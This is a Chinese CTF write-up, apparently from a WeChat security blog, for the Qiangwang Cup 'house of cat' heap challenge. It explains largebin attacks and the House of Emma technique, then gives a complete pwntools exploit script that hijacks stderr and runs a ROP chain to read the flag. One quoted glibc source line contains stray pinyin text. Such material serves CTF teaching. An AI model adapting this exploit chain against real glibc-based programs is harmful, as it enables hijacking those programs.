TIMEKEEPER
House of cat
时隔一周
表哥们又带来新的内容了
本期所讲解的是
今年强网杯所出题目houseofcat
想学习新内容或者是
还没弄明白这道题的小伙伴们
赶快来看看吧!!!
#整体逻辑
overview
逆出交互逻辑
#1
解析输入格式的函数偏移为0x1A50,首先会将输入按照空格分为三份,第一份包含一个关键字,关键字为字符串“LOGIN”则将某个标记位标记为1,关键字为字符串“CAT"则将某个标记位标记为3,第二份开头的字符串必须为"|",第三份开头必须为r00t,整个输入整个输入的字符串必须包含“QWB”字符串。记“QWB”字符串偏移+5位置的字符串为p2,则p2字符串中必须含有“QWXF”字符串。
主逻辑函数的偏移为0x1DF3,进入交互的条件如下:
dword_4014的值为0FFFFFFFFh
所以首先要输入字符串"LOGIN |content r00tQWBaaaaaadminQWXF"一次,之后输入字符串“CAT |content r00tQWBaaaaa$"+p32(0x0FFFFFFFF)+b"QWXF“即可进行交互(每次操作都要输入一次)。
HouseofEmma
#2
只能申请size <= 0x417 || size > 0x46F的chunk,第一反应就是largebin attack
存在uaf,确实可以打largebin,而且这个大小范围可以打两次,可以打houseofemma,题目输出都是用的write,劫持stdout没用,改为劫持stderr的指针
HouseofEmma的简要说明:
≥ 2.23 版本中vtable必须在指定范围内,在 vtable 的合法范围内,存在一个 _IO_cookie_jumps,以下是需要用到的结构体和函数的源码:
1static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
2 JUMP_INIT_DUMMY,
3 JUMP_INIT(finish, _IO_file_finish),
4 JUMP_INIT(overflow, _IO_file_overflow),
5 JUMP_INIT(underflow, _IO_file_underflow),
6 JUMP_INIT(uflow, _IO_default_uflow),
7 JUMP_INIT(pbackfail, _IO_default_pbackfail),
8 JUMP_INIT(xsputn, _IO_file_zhi shi dianxsputn),
9 JUMP_INIT(xsgetn, _IO_default_xsgetn),
10 JUMP_INIT(seekoff, _IO_cookie_seekoff),
11 JUMP_INIT(seekpos, _IO_default_seekpos),
12 JUMP_INIT(setbuf, _IO_file_setbuf),
13 JUMP_INIT(sync, _IO_file_sync),
14 JUMP_INIT(doallocate, _IO_file_doallocate),
15 JUMP_INIT(read, _IO_cookie_read),
16 JUMP_INIT(write, _IO_cookie_write),
17 JUMP_INIT(seek, _IO_cookie_seek),
18 JUMP_INIT(close, _IO_cookie_close),
19 JUMP_INIT(stat, _IO_default_stat),
20 JUMP_INIT(showmanyc, _IO_default_showmanyc),
21 JUMP_INIT(imbue, _IO_default_imbue),
22};
23
24struct _IO_cookie_file
25{
26 struct _IO_FILE_plus __fp;
27 void *__cookie;
28 cookie_io_functions_t __io_functions;
29};
30
31typedef struct _IO_cookie_io_functions_t
32{
33 cookie_read_function_t *read; /* Read bytes. */
34 cookie_write_function_t *write; /* Write bytes. */
35 cookie_seek_function_t *seek; /* Seek/tell file position. */
36 cookie_close_function_t *close; /* Close file. */
37} cookie_io_functions_t;
38
39static ssize_t
40_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
41{
42 struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
43 cookie_read_function_t *read_cb = cfile->__io_functions.read;
44#ifdef PTR_DEMANGLE
45 PTR_DEMANGLE (read_cb);
46#endif
47
48 if (read_cb == NULL)
49 return -1;
50
51 return read_cb (cfile->__cookie, buf, size);
52}
53
54static ssize_t
55_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
56{
57 struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
58 cookie_write_function_t *write_cb = cfile->__io_functions.write;
59#ifdef PTR_DEMANGLE
60 PTR_DEMANGLE (write_cb);
61#endif
62
63 if (write_cb == NULL)
64 {
65 fp->_flags |= _IO_ERR_SEEN;
66 return 0;
67 }
68
69 ssize_t n = write_cb (cfile->__cookie, buf, size);
70 if (n < size)
71 fp->_flags |= _IO_ERR_SEEN;
72
73 return n;
74}
75
76# define PTR_MANGLE(var) \
77 (var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard) //fs:[0x30]
78# define PTR_DEMANGLE(var) PTR_MANGLE (var) //循环右移11位再异或ptr_guard
劫持思路
-
用largebinattack将stderr指针可控堆块,伪造IO结构体,并将vtable设置为
_IO_cookie_jumps+0x40
2. 在下方构造好__cookie(用来控
制rdi)、__io_functions(用来
控制rip)
3. 报错即可触发
__io_functions.write(__cookie)
本来是调用
`_IO_file_jumps->_IO_file_xsputn`,
劫持后调用
`(struct _IO_cookie_file *) stdout->__io_functions.write((struct _IO_cookie_file *) stdout->__cookie)`
绕过PTR_DEMANGLE
调用__io_functions之前存在PTR_DEMANGLE环节,即将要调用的__io_functions中的函数指针循环右移0x11位,然后和fs:[0x30]处的数据异或。以下是绕过的一种思路
1. 泄漏libc,计算出fs:[0x30]的地址,通过任意地址写将该处的数据改为可控数据
2. 伪造__io_functions时,将要伪造的地址先和伪造的fs:[0x30]异或,再循环左移0x11位
问题
edit只有两次机会,两次largebinattack完成之后就没有edit机会了,怎么触发报错
堆风水触发报错
#3
一般malloc和free的报错是不会走stderr的,需要找一个assert的报错,正好sysmalloc里有一个
只要把topchunk的size改了就行了。
思路是伪造一个fakechunk,在用来触发largebinattack的chunk的bk_nextsize下方,构造fakechunk的size,让他free之后正好合并到topchunk,这样就可以一次edit修改topsize和largebinattack需要的数据了
申请chunk1、chunk2,然后free。由于有uaf所以还保留chunk2的指针,在申请chunk3、chunk4...,使得chunk2的指针在chunk4的bk_nextsize之下
再次申请即可报错劫持控制流,接下来就只需要rop了
EXP
#4
1from pwn import *
2context.log_level="debug"
3context.arch="amd64"
4sh=process("./pwn")
5# nc 182.92.223.176 30241
6# nc 47.93.187.169 44139
7# sh=remote("47.93.187.169",44139)
8def firstinit():
9 payload=b"LOGIN |content r00tQWBaaaaaadminQWXF"
10 sh.sendlineafter(b'mew mew mew~~~~~~n',payload)
11def cmd(c):
12 payload=b"CAT |content r00tQWBaaaaa$"+p32(0x0FFFFFFFF)+b"QWXF"
13 sh.sendlineafter(b'mew mew mew~~~~~~n',payload)
14 sh.sendlineafter(b'plz input your cat choice:n', str(c).encode())
15def add(idx,size,ctt):
16 cmd(1)
17 sh.sendlineafter(b"plz input your cat idx:n",str(idx).encode())
18 sh.sendlineafter(b"plz input your cat size:n",str(size).encode()) #0x417<size<0x46f
19 sh.sendlineafter(b"plz input your content:n",ctt)
20def dele(idx):
21 cmd(2)
22 sh.sendlineafter(b"plz input your cat idx:n", str(idx).encode())
23def show(idx):
24 cmd(3)
25 sh.sendlineafter(b"plz input your cat idx:n", str(idx).encode())
26def edit(idx,ctt):
27 cmd(4)
28 sh.sendlineafter(b"plz input your cat idx:n", str(idx).encode())
29 sh.sendlineafter(b"plz input your content:n", ctt)
30def rol(data): #循环左移11位
31 print(data)
32 dl=bin(data)[2:]
33 dl=dl.rjust(64,"0")
34 print(dl)
35 res=''
36 for i in range(64):
37 res+=dl[(i+0x11)%64]
38 print(res)
39 res=int(res,2)
40 return res
41firstinit()
42#可以申请大chunk
43
44#首先申请一个较大的chunk1 放入largebin
45#申请一个小一点的chunk2
46#修改chunk1的bk_nextsize为任意地址target
47#将chunk2放入largebin
48#target+0x20 -> &chunk2
49
50#free-> unsortedbin 0x428
51#malloc() 0x438
52add(0,0x428,b'a')
53add(1,0x420,b'b')
54add(2,0x418,b'c')
55add(3,0x420,b'd')
56dele(0)
57dele(2)
58show(0)
59leak_libc=u64(sh.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
60success("leak_libc:"+hex(leak_libc))
61sh.recv(2)
62leak_heap=u64(sh.recv(8))
63success("leak_heap:"+hex(leak_heap))
64libcbase=leak_libc-0x219ce0
65heapbase=(leak_heap>>12)<<12
66success("libcbase:"+hex(libcbase))
67success("heapbase:"+hex(heapbase))
68libc=ELF("./libc.so.6")
69libc.address=libcbase
70system=libc.sym['system']
71binsh=libc.search(b'/bin/sh').__next__()
72io_wstrn_jumps=libcbase+0x215dc0
73io_cookie_jump=libcbase+0x215b80
74_IO_stdfile_2_lock=libcbase+0x21ba60
75largebin_fd=libcbase+0x21a0e0-16
76largebin_fdnsize=heapbase+0x290
77gadget1=libcbase+0x00000000001675b0 #mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
78gadget2=libcbase+0x000000000005a170 #mov rsp, rdx ; ret
79rax=libcbase+0x0000000000045eb0
80rdi=libcbase+0x000000000002a3e5
81rsi=libcbase+0x000000000002be51
82rdxr12=libcbase+0x000000000011f497
83read=libc.sym['read']
84write=libc.sym['write']
85close=libc.sym['close']
86syscall=libc.sym['syscall']
87setcontext=0x529ad+libcbase
88add(4,0x428,b'e')
89ptr_guard=libcbase-0x28c0+0x30
90key=heapbase+0xaf0
91stdout=libcbase+0x21a868
92stderr=libcbase+0x21a860
93stdin=libcbase+0x21a870
94leak_heap=heapbase+0x1bd0-0x10
95success("fs:"+hex(ptr_guard-0x30))
96add(5,0x418,b'f')
97dele(4)
98payload=b'x00'*(0x78)+p64(_IO_stdfile_2_lock)+b'x00'*0x48+p64(io_cookie_jump+0x40)+p64(leak_heap+0x10)+p64(0)+p64(rol(gadget1^key))+p64(0)+p64(0)
99add(6,0x438,payload)
100dele(5)
101edit(4,p64(largebin_fd)*2+p64(largebin_fdnsize)+p64(ptr_guard-0x20))
102add(7,0x438,b'h')
103# add(8,0x448,b'j')
104# add(9,0x448,b'k')
105# dele(8)
106# add(10,0x458,b'l')
107# dele(6)
108# edit(8,p64(largebin_fd+16)*2+p64(largebin_fdnsize+0x1930)+p64(stderr-0x20))
109# add(11,0x458,b'l')
110add(8,0x46f,b'?')
111add(9,0x46f,b'?')
112dele(9)
113dele(8)
114flagoffset=0xe8+0x10+0x18
115payload=b'' #gadget&fakesp&shellcode
116payload+=p64(rdi)+p64(leak_heap+0x10)+p64(rdxr12)+p64(gadget2)*2 #gadget
117payload+=p64(rdi)+p64(0)+p64(close) #40
118payload+=p64(rdi)+p64(0x2)+p64(rsi)+p64(flagoffset+leak_heap)+p64(rdxr12)+p64(0)*2+p64(syscall) #68+0x18 #open
119payload+=p64(rdi)+p64(0)+p64(rsi)+p64(heapbase)+p64(rdxr12)+p64(0x40)*2+p64(read) #a8+0x18 #read
120payload+=p64(rdi)+p64(1)+p64(rsi)+p64(heapbase)+p64(rdxr12)+p64(0x40)*2+p64(write) #e8+0x18 #write #orw
121payload+=b'flagx00'
122add(10,0x440,payload)
123add(11,0x448,p64(0)*4+p64(0)+p64(0xcd1))
124add(12,0x448,b'k')
125dele(11)
126# gdb.attach(sh)
127add(13,0x458,b'l')
128dele(6)
129dele(9)
130# gdb.attach(sh,'b sysmallocnc')
131edit(11,p64(largebin_fd+16)*2+p64(largebin_fdnsize+0x1930)+p64(stderr-0x20)+p64(0)+p64(0x111))
132gdb.attach(sh,'b _IO_cookie_writenc')
133cmd(1)
134sh.sendlineafter(b"plz input your cat idx:n",str(14).encode())
135sh.sendlineafter(b"plz input your cat size:n",str(0x458).encode()) #0x417<size<0x46f
136sh.interactive()
本期的知识分享就到这里了
不知道大家还有什么疑问呢??
长按下方的二维码关注我们
下期表哥们的干货
已经在等你了!!!
原文始发于微信公众号(SKSEC):【表哥有话说 第80期】HouseofCat
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论